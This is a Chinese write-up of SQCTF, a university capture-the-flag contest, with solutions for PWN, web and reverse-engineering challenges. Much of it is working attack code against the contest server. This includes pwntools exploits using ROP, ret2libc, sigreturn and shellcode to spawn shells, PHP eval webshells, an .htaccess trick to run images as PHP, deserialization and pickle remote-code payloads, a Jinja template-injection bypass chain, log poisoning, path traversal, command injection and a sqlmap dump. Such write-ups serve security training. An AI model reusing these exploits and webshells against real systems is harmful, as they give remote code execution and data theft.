SQCTF--商丘师范学院第四届网络安全及信息对抗大赛(校外赛)

PWN

浅红欺醉粉,肯信有江梅

nc连接后用cat直接拿flag

领取你的小猫娘

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[76]; // [rsp+0h] [rbp-50h] BYREF
  int v5; // [rsp+4Ch] [rbp-4h]

  init(argc, argv, envp);
  v5 = 0;
  puts("[+]Welcome to SQNUCTF!");
  sleep(1u);
  puts("[+]Cat girl is super hungry now, she won't give a flag if she doesn't have anything to eat.");
  puts("[+]hint:Virtual cat girl loves to eat characters");
  gets(v4);
  if ( v5 )
  {
    backdoor();
  }
  else
  {
    puts("[*]I haven't eaten enough, you scoundrel.");
    puts("[*]Hmph, I won't talk to you anymore!");
  }
  return 0;
}

只要v5有值就能拿到shell,gets有栈溢出,所以输入很多“a”或者其他数据后覆盖到v5就能getshell

当时只道是寻常

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn01"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]



binsh = 0x40203A


def pwn():
	ru(b"What was once thought ordinary, now seems extraordinary.")
	# gdb.attach(io)

	pop_rax = 0x000000000040104a
	pop_rsi_rax = 0x0000000000401049
	syscall = 0x000000000040101d

	padding = b'a' * 8  

    # 2. ROP 链:触发 sigreturn
	rop_chain = [
		pop_rax,
		15,                          # RAX = 15 (sigreturn)
		syscall                      # 调用 syscall
	]

    # 3. 构造 sigreturn frame(struct sigcontext)
	frame = SigreturnFrame()
	frame.rax = 0x3b                 # execve 系统调用号
	frame.rdi = binsh        # RDI 指向 "/bin/sh" 字符串
	frame.rsi = 0                    # RSI = 0
	frame.rdx = 0                    # RDX = 0
	frame.rip = syscall              # RIP 指向 syscall 指令

	payload = padding + flat(rop_chain) + bytes(frame)

	
	sl(payload)

	itr()



if __name__ == "__main__":
	while True:
		# io = remote("challenge.qsnctf.com",31281)
		io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






我觉君非池中物,咫尺蛟龙云雨

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]



def pwn():
	
	ru(b"The yellow leaves rustle and close the sparsely arranged window.")

	sh = '''
		xor 	rsi, rsi
		push	rsi	
		mov 	rdi, 0x68732f2f6e69622f
		push	rdi
		push	rsp		
		pop	    rdi			
		mov 	al,	59	
		cdq				
		syscall
	'''

	sl(asm(sh))


	itr()

if __name__ == "__main__":
	while True:
		io = remote("challenge.qsnctf.com",31631)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()


江南无所有,聊赠一枝春

注意堆栈平衡

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./gift"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]



def pwn():
	ru(b"[+]Do you want my gift?")
	# gdb.attach(io)
	payload = b"a"*0x48+p64(0x000000000040101a)+p64(0x4011B6)
	sl(payload)


	itr()



if __name__ == "__main__":
	while True:
		io = remote("challenge.qsnctf.com",30747)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






被酒莫惊春睡重

很简单的ret2libc

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]



def pwn():
	pop_rdi_rax = 0x00000000004011e2
	puts_plt = elf.plt['puts']
	puts_got = elf.got['puts']

	ru("请输入你的名字: ")
	sl(b"aaaa")
	ru("你好, 0x")
	stack_addr = int(r(12),16)
	print("stack_addr---------------->: ",hex(stack_addr))
	ru("请输入你的选择 (1-3): ")
	sl(b"1")

	ru("请输入你的新诗(不超过255个字符): ")

	payload = b"a"*0x28+p64(pop_rdi_rax)+p64(puts_got)+p64(0)+p64(puts_plt)+p64(0x4010F0)
	s(payload)
	ru(b"\n")
	puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
	print("puts_addr------------_>",hex(puts_addr))
	libc= LibcSearcher("puts",puts_addr)
	libc_base = puts_addr-libc.dump("puts")
	print("libc_base-------->:",hex(libc_base))
	system = libc_base+libc.dump("system")
	binsh = libc_base+libc.dump('str_bin_sh')

	ru("请输入你的名字: ")
	sl(b"aaaa")
	ru("请输入你的选择 (1-3): ")
	sl(b"1")
	ru("请输入你的新诗(不超过255个字符): ")
	payload = b"a"*0x28+p64(pop_rdi_rax)+p64(binsh)*2+p64(system)
	sl(payload)

	# gdb.attach(io)


	itr()



if __name__ == "__main__":
	# while True:
		io = remote("challenge.qsnctf.com",31518)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






赌书消得泼茶香

base64解码,这里可以用\x00绕过

char *__fastcall sub_401320(__int64 a1, unsigned __int64 a2, __int64 *a3)
{
  char *v5; // [rsp+28h] [rbp-28h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+40h] [rbp-10h]
  __int64 size; // [rsp+48h] [rbp-8h]

  size = 3 * (a2 >> 2);			// 相当于 3*(a2/4),Base64每组4字符解码为3字节
  if ( *(_BYTE *)(a2 - 1 + a1) == 61 )	// 处理末尾填充'='
    --size;
  if ( *(_BYTE *)(a2 - 2 + a1) == 61 )	// 处理倒数第二个填充'='
    --size;
  v5 = (char *)malloc(size);		 分配解码后的缓冲区
  if ( !v5 )
    return 0LL;
  v7 = 0LL;
  v6 = 0LL;
  while ( v7 < a2 )
  {
    sub_401260(a1 + v7, &v5[v6]);	// 解码4字节的Base64数据为3字节原始数据
    v7 += 4LL;	//移动到下一组Base64数据
    v6 += 3LL;	// 移动到下一组输出位置
  }
  *a3 = size;	//设置输出数据长度
  return v5;
}

exp:

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn02"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]



def pwn():
	puts_plt = elf.plt['puts']
	puts_got = elf.got['puts']
	ret = 0x000000000040101a
	pop_rdi = 0x0000000000401414
	main_addr = 0x40147E

	ru(b"How are you feeling right now?")	
	payload = b"\x00"*0x168+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
	sl(payload)
	puts_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
	print("puts_addr------------_>",hex(puts_addr))
	libc= LibcSearcher("puts",puts_addr)
	libc_base = puts_addr-libc.dump("puts")
	print("libc_base-------->:",hex(libc_base))
	system = libc_base+libc.dump("system")
	binsh = libc_base+libc.dump('str_bin_sh')

	payload = b"\x00"*0x168+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr)
	sl(payload)

	# gdb.attach(io)


	itr()



if __name__ == "__main__":
	# while True:
		io = remote("challenge.qsnctf.com",32341)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






花非花,雾非雾_1

对于par1用010editor插入数据50 4B 03 04

  1. 找到插入点后,点击你想要开始插入的位置。
  2. 在菜单中选择“编辑” > “插入数值”。
  3. 在弹出的对话框中选择数值类型(如:8位、16位、32位等),并输入数值。
  4. 点击“确定”来插入数据。

然后 binwalk -e --run-as root ./part_1.docx 分离文件,可以拿到很多文件

铜雀春深锁二乔

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn03"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc.so.6")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]



def pwn():
	ru(b"Pondering the past as I stand in the remnants of the setting sun.")

	s(b"%11$p%15$p%17$p")
	ru(b"0x")
	canary = int(r(16),16)
	ru(b"0x")
	main_addr = int(r(12),16)-0x125b
	ru(b"0x")
	stack_addr = int(r(12),16)-0x118+0x20-0x180
	print("canary------------------------>:",hex(canary))
	print("main_addr---------------------->:",hex(main_addr))
	print("stack_addr--------------------->:",hex(stack_addr))

	start_addr = main_addr+0x1100
	leave = main_addr+0x1258
	puts_got = main_addr+elf.got['puts']
	pop_rdi = main_addr+0x0000000000001245
	ret_addr = main_addr+0x1320
	system = main_addr+0x1253
	s(b"a"*8+p64(canary)*2+p64(start_addr))
	ru(b"Pondering the past as I stand in the remnants of the setting sun.")
	
	payload = p64(ret_addr)+p64(pop_rdi)+p64(stack_addr+0x10)+p64(system)+b"sh\x00"
	s(payload)

	s(b"a"*8+p64(canary)+p64(stack_addr-0x18)+p64(leave))


	itr()



if __name__ == "__main__":
	# while True:
		io = remote("challenge.qsnctf.com",32102)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






萧萧黄叶闭疏窗

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./bad"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]




def pwn():
	ru(b"[+]What do you want to do ?")
	sh = shellcraft.openat(-100,"/flag",0)
	sh += shellcraft.sendfile(1,3,0,0x50)
	sh = asm(sh)

	payload_ddr = 0x4040A0
	payload = sh
	payload = payload.ljust(0x48,b"a")+p64(payload_ddr)
	sl(payload)

	itr()



if __name__ == "__main__":
	while True:
		io = remote("challenge.qsnctf.com",32073)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






借的东风破金锁

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./key"
# io = remote("pwn.challenge.ctf.show",28230)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")


s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x4525a,0xef9f4,0xf0897,0x10a2fc]
ctfshow_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]




def pwn():
	ru(b"[+] Input your key: ")
	sl(b"FTCUNQS\x00")

	itr()



if __name__ == "__main__":
	while True:
		io = remote("challenge.qsnctf.com",30030)
		# io = process(pwnfile)
		try:
			pwn()
		except:
			io.close()






WEB

eeaassyy

view-source:http://challenge.qsnctf.com:32069/

<?php
class test {
    public $user = '';
    public $pswd = 'escaping';
}

$payload = serialize(new test());
echo urlencode($payload);
?>

payload:

O:4:"test":2:{s:4:"user";s:0:"";s:4:"psswd";s:8:"escaping";}

嘿嘿嘿

<?php
class hhh {
    public $file;
    public $content;

    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }
}

// 构造payload
$shell = new hhh("b.php", "<?=system('tac\$IFS*')?>");
$payload = serialize($shell);


// 输出payload
echo urlencode($payload);
?>

然后访问b.php

My Blog

http://challenge.qsnctf.com:30849/login.php?username=admin&password=secret123#

ezGame

http://challenge.qsnctf.com:32497/flag.php?score=2048

Upload_Level1

http://challenge.qsnctf.com:31080/upload/flag.php?a=system(%27nl%09/ffffffllllaaaagg%20%27);

唯一

ctfshow有相似过滤的题直接一把梭

http://challenge.qsnctf.com:32136/?note={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}

baby include

用日志包含绕过,将执行的命令插入日志中
这道题奇怪的是nginx日志在/var/log/nginx/access.log,一般apache日志在类似目录下(/var/log/httpd/access.log)

日志地址通常为

/var/log/nginx/error.log
/var/log/nginx/access.log

在User-Agent插入

<?php echo system('ls');?>

商师一日游

php%0aaaa 来绕过判断

跟着提示一步一步做就可以了,一共有7块碎片,拼在一起就是flag。

File_download

/WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。

下载文件(注意:post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)。)

http://challenge.qsnctf.com:31453/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class

下载class文件后反编译,然后解密

key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

flag = []
for k in key:
    # 逆向运算: c = (k ^ 48) - ord('&')
    c = (k ^ 48) - ord('&')
    flag.append(chr(c))

print(''.join(flag))

#85caad1c-33e3-0bc1-6d5e-a73b044f7d9f

Through

根据题目猜测为目录穿越,试了一个多小时,终于试出来了,原来是把**…/**替换为空

那么可以用 …/./ 来绕过 因为当替换 …/为空后 …/./变成了 …/刚好是上一个目录

payload:

/index.php?file=./css/..././..././..././..././..././..././..././..././..././flag

RceMe

http://challenge.qsnctf.com:31418/?com=nl /*

Ping

http://challenge.qsnctf.com:31748/?ip=127.0.0.1||nl /*

小小查询系统

sqlmap直接跑出来了

sqlmap -u "http://challenge.qsnctf.com:32462/?id=1" -D ctf -dump

baby rce

sha1($param1) == sha1($param2)`:如果`param1`和`param2`的SHA-1哈希值相等,则`$token`为`true

判断不严格很轻松就绕过了。

http://challenge.qsnctf.com:31465/?param1=aaa&param2=aaa
  • call_user_func($_POST['payload']):允许执行任意回调函数。
  • 查PHP文档,call_user_func函数接受回调函数作为第一个参数。对于静态方法,可以传递一个数组,包含类名和方法名的字符串,或者传递一个字符串格式的"类名::方法名"。例如,call_user_func(array(‘TYctf’, ‘getKey’))或者call_user_func(‘TYctf::getKey’)。这两种方式都是有效的。

POST传参

payload=TYctf::getKey

Input a number

小数点绕过

http://challenge.qsnctf.com:32173/?sqctf=114514.1

Ez_calculate

import requests
import re


s = requests.Session()

url = "http://challenge.qsnctf.com:32482/"
res = s.get(url)
cont = res.text
patt = r'<div class="challenge">(.*?)</div>'
match = re.search(patt,cont)
print(match.group(1))
result = eval(match.group(1))

post_data = {'value':"{}".format(result)}
print(post_data)
response = s.post(url, data=post_data)  # 使用 data 而非 json
print(response.text)


然后访问 /flag

Upload_Level2

先上传,flag.png内容是:

<?=eval($_REQUEST['a']);?>

然后用burp抓包,然后把png改为php,然后访问flag.php文件命令执行

http://challenge.qsnctf.com:32620/uploads/flag.php?a=system('nl /*');

白月光

又是SSTI

和唯一的payload一样能打出来

name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}

无参之舞

view-source查看源码看到要用sqctf登录

view-source:http://challenge.qsnctf.com:32583/

利用burp爆破密码得到 密码是1q2w3e4r

username=sqctf&password=1q2w3e4r

查看有那些文件

http://challenge.qsnctf.com:32583/?exp=var_dump(scandir(%27./%27));
flag在哪里呢?,请告诉我<br>array(9) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(6) "bg.jpg"
  [3]=>
  string(8) "f1ag.php"
  [4]=>
  string(8) "flag.php"
  [5]=>
  string(9) "flag1.php"
  [6]=>
  string(9) "flag2.php"
  [7]=>
  string(9) "flag3.php"
  [8]=>
  string(9) "index.php"
}

然后读取flag

?exp=var_dump(file_get_contents('./f1ag.php'));

伪装

已经知道密钥

伪造session

python flask_session_cookie_manager3.py encode -s "love" -t '{"role":{"is_admin":1,"name":"sjx"}}'

yJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_iyKg.mmb-Z9j3PCLfvaY_F8BHocGGOgs

Are you from SQNU?

POST /?tyctf=1 HTTP/1.1
Host: challenge.qsnctf.com:32304
User-Agent: TYsecBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://challenge.qsnctf.com:32304
Connection: close
Referer: https://sqnu-tysec.com
Cookie: user=admin; session=eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_iyKg.mmb-Z9j3PCLfvaY_F8BHocGGOgs
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Priority: u=0, i

tyctf=1&hhh=abc

Look for the homepage

在header头中看到challenge.php,访问

parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉原有变量。函数说明如下:
void parse_str( string KaTeX parse error: Expected 'EOF', got '&' at position 13: str[, array &̲arr] )
函数有两个参数,第一个是必须的,代表要解析注册成变量的字符串,比如“a=1”经过parse_str()函数后会注册$a并复制为1,第二个参数是一个数组,当第二个参数存在时,注册的变量会放到这个数组里,如果原来有相同的键值,则会覆盖掉它。
用一段简单的代码加深印象:

<?php
$b=2;
parse_str($b=321);
print_r($b);
?>

我们发现$b的值被覆盖为321。

利用数组绕过拿到flag

GET:
http://challenge.qsnctf.com:30987/challenge.php?pass1&pass2=welcome&verify=1&value3[]=1

POST:
value1[]=1

图片展示功能

提到apache会想到.htaccess,因此上传.htaccess 解析.png就可以了:

AddType application/x-httpd-php .png

然后上传一个png图片

内容为

<?=eval($_REQUEST['a']);?>

自私的小s

cookie中有end.php,访问end.php

<?php

class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }
  
    function __destruct(){
        echo eval($this->value);
    }
} 

$o = new Genshin_impact('system("cat /*");');
echo serialize($o);
echo "\n";
echo urlencode(serialize($o));

?>

//O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D

pickle

python的pickle反序列化,数据要base64加密

import base64
import pickle
class gg():
    def __reduce__(self):
        return (eval,("__import__('os').popen('tac /flag').read()",))
a=gg()
b=pickle.dumps(a)
print(base64.b64encode(b))

ggoodd

import requests

url = "http://challenge.qsnctf.com:30024/"    #替换为自己的URL
params = {"json": '{"x":"cba"}'}  # 自动处理URL编码
data = {"id": "abc"}

response = requests.post(url, params=params, data=data)
print(response.text)

开发人员的小失误

猜测为

/backup.sql 访问后下载文件

下载后txt文件打开

-- 创建数据库
CREATE DATABASE IF NOT EXISTS tyctf;
USE tyctf;

-- 创建user表
CREATE TABLE IF NOT EXISTS user (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(255) NOT NULL,
    gender ENUM('male', 'female', 'other') NULL,
    birthday DATE NULL
);

-- 创建secret表
CREATE TABLE IF NOT EXISTS secret (
    id INT PRIMARY KEY,
    value VARCHAR(255) NOT NULL
);

-- 创建image表
CREATE TABLE IF NOT EXISTS image (
    imgName VARCHAR(100) NOT NULL,
    date DATE NOT NULL,
    source VARCHAR(255) NOT NULL
);

-- 向secret表插入数据
INSERT INTO secret (id, value) VALUES (1, 'sqctf{xxxxxxxxxxxx}');

千查万别

逆天,脑洞有点大

读取环境变量拿到flag

/proc/[pid]/environ ([pid]指向进行运行时的环境变量)

http://challenge.qsnctf.com:30903/view?doc=/proc/1/environ

RE

ezRe

工欲善其事,必先利其器,好的工具是必不可少的。

  1. exe 转 pyc 工具:

GitHub - WithSecureLabs/python-exe-unpacker: A helper script for unpacking and decompiling EXEs compiled from python code.
GitHub - pyinstxtractor/pyinstxtractor-ng: PyInstaller Extractor Next Generation

  1. 在线网站(exe->pyc):PyInstaller Extractor WEB
  2. 在线网站(pyc->python):在线Python pyc文件编译与反编译python反编译
  3. 有的时候,在线工具不好用,可以用 pycdc(强推),下载后记得 cmake 构建。

依次把exe和pyc文件反编译,然后base64解码得flag

慕然回首,那人却在灯火阑珊处

ida查看字符串找到地图为:

S**#######
##*#######
#**#######
##**######
###*###**#
#***###**#
#*#####**#
#*#####*E#
#*******##
#########

对应输入d d s s s d s s a a s s s d d d d d d w d

指令解释

  • d:右移
  • s:下移
  • a:左移
  • w:上移

所以flag为:sqctf{ddsssdssaasssddddddwd}

鹅鹅鹅,曲项向天歌

依次把exe和pyc文件反编译,然后写脚本;

part2 = "itd~tzw_know_sanmenxbZ8"
part1 = 'flag{'
part3 = '}'
part2_1 = part2[:7]
part2_2 = part2[7:20]
part2_3 = part2[20:]

tmp = ''
true_flag = ''
for i in range(len(part2_1)):
    tmp += chr(ord(part2_1[i]) - 5)
true_flag += tmp
tmp = ''

for i in range(len(part2_2)):
    tmp += chr(ord(part2_2[i]) - 0)

true_flag += tmp
tmp = ''
for i in range(len(part2_3)):
    tmp += chr(ord(part2_3[i]) + 7)

true_flag += tmp


print(true_flag)

圣人当仁不让

更具给出的base64码表,解出base64,然后python

s = "üþìïÔÒÎÜÖøÛÒøßÊ"
for i in s:
    a = ord(i)
    a += 2
    a -= 5
    a ^= 0xaa
    print(a)

这解出来的-174用补码表示后的ascii是T

然后把所有数字转ascii码

所以flag为:SQCTF{easy_re_vm}

往事暗沉不可追

一样的操作,把exe文件转为pyc,然后反编译都到源码:

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10


class SimpleVM:
    
    def __init__(self):
        self.memory = [
            0] * 256
        self.registers = [
            0] * 16

    
    def load(self, reg, addr):
        self.registers[reg] = self.memory[addr]

    
    def store(self, reg, addr):
        self.memory[addr] = self.registers[reg]

    
    def xor(self, reg, value):
        self.registers[reg] ^= value

    
    def execute(self, bytecode):
        ip = 0
        if ip < len(bytecode):
            op = bytecode[ip]
            if op == 'LOAD':
                reg = bytecode[ip + 1]
                addr = bytecode[ip + 2]
                self.load(reg, addr)
                ip += 3
            elif op == 'STORE':
                reg = bytecode[ip + 1]
                addr = bytecode[ip + 2]
                self.store(reg, addr)
                ip += 3
            elif op == 'XOR':
                reg = bytecode[ip + 1]
                value = bytecode[ip + 2]
                self.xor(reg, value)
                ip += 3
            else:
                raise ValueError(f'''Unknown opcode: {op}''')
            if not None < len(bytecode):
                return None
            return None

    
    def get_memory(self):
        return self.memory


bytecode = [
    'LOAD',
    0,
    16,
    'XOR',
    0,
    85,
    'STORE',
    0,
    32,
    'LOAD',
    1,
    32,
    'XOR',
    1,
    170,
    'STORE',
    1,
    48]
encrypted_data = [
    127,
    131,
    125,
    123,
    135,
    127,
    133,
    123,
    125,
    131,
    127,
    135,
    131,
    123,
    135,
    125]
vm = SimpleVM()
vm.memory[16:16 + len(encrypted_data)] = encrypted_data
vm.execute(bytecode)
final_memory = vm.get_memory()

遇事不决,可问春风

使用jadx-gui反编译apk文件后,分析代码逆向

ENCRYPTED_PARTS数组拼接后的字符串为"5#)75#)7"。每个字符经过与XOR_KEY(66,即’B’的ASCII值)异或运算后得到明文密码。具体步骤如下:

  1. 拼接ENCRYPTED_PARTS得到加密字符串:“5#)75#)7”。
  2. 对每个字符进行异或解密:
    • ‘5’ (53) ^ 66 → 119 → ‘w’
    • ‘#’ (35) ^ 66 → 97 → ‘a’
    • ‘)’ (41) ^ 66 → 107 → ‘k’
    • ‘7’ (55) ^ 66 → 117 → ‘u’
    • 重复后四位得到明文密码:“wakuwaku”。
SQCTF{i_am_a_wakuwaku}

春风也有春风愁

